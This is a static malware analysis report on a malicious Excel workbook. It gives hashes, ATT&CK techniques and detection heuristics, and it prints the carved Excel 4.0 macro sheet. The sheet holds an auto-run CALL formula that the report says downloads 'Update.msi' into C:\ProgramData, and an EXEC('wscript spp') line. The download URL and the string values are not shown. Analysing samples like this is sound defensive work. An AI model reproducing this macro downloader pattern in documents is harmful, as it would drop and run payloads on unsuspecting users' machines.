Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2f71555bbdc78322…

MALICIOUS

Office (OOXML)

22.5 KB Created: 2003-04-02 04:06:04 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-11-25
MD5: 06bfff5795705d09fc89737eb392520d SHA-1: 20f86bec717be9de1a60b9fa62258cf268e3c6ff SHA-256: 2f71555bbdc78322d55f030bf227e18e1a5cd7ea8ab41bc219e86d6aa761ba08
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains critical heuristics indicating the presence of Excel 4.0 macros, specifically using the dangerous CALL and EXEC functions. The macro is designed to download a file named 'Update.msi' from the URL 'the embedded link' into 'C:\ProgramData\'. This indicates a clear intent to download and execute a second-stage payload.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 3 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Binary XLM macro sheet with WinAPI/download strings critical OOXML_XLM_BINARY_WINAPI_STRINGS
    Excel 4.0 macro sheet is stored as BIFF12/XLSB binary data and contains Win32 download or process-execution API strings such as URLDownloadToFileA, ShellExecuteA, or CreateDirectoryA. These strings are high-signal in XLM macro sheets and catch payload-download macros that XML-formula scanners cannot parse.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2109 bytes
SHA-256: 3b6f7a20ab16d4a3dcfc7b580cc866e274233248665789146a9148c49af8f8c2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="F2:F24"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="6" max="6" width="48.7109375" bestFit="1" customWidth="1"/></cols><sheetData><row r="2" spans="6:6" x14ac:dyDescent="0.25"><c r="F2" t="s"><v>6</v></c></row><row r="3" spans="6:6" x14ac:dyDescent="0.25"><c r="F3" t="s"><v>7</v></c></row><row r="4" spans="6:6" x14ac:dyDescent="0.25"><c r="F4" t="s"><v>8</v></c></row><row r="7" spans="6:6" x14ac:dyDescent="0.25"><c r="F7" t="s"><v>2</v></c></row><row r="8" spans="6:6" x14ac:dyDescent="0.25"><c r="F8" t="s"><v>3</v></c></row><row r="11" spans="6:6" x14ac:dyDescent="0.25"><c r="F11" t="s"><v>4</v></c></row><row r="12" spans="6:6" x14ac:dyDescent="0.25"><c r="F12" t="s"><v>5</v></c></row><row r="16" spans="6:6" x14ac:dyDescent="0.25"><c r="F16" t="s"><v>0</v></c></row><row r="17" spans="6:6" x14ac:dyDescent="0.25"><c r="F17" t="s"><v>1</v></c></row><row r="20" spans="6:6" x14ac:dyDescent="0.25"><c r="F20" t="b"><f>CALL(F7&amp;F8,F16&amp;F17,F11&amp;F12&amp;F11,0,F2&amp;F3&amp;F4,F21&amp;F22&amp;F23,0,0)</f><v>0</v></c></row><row r="21" spans="6:6" x14ac:dyDescent="0.25"><c r="F21" t="s"><v>9</v></c></row><row r="22" spans="6:6" x14ac:dyDescent="0.25"><c r="F22" t="s"><v>10</v></c></row><row r="23" spans="6:6" x14ac:dyDescent="0.25"><c r="F23" t="s"><v>11</v></c></row><row r="24" spans="6:6" x14ac:dyDescent="0.25"><c r="F24"><f>EXEC("wscript spp")</f><v>33</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>

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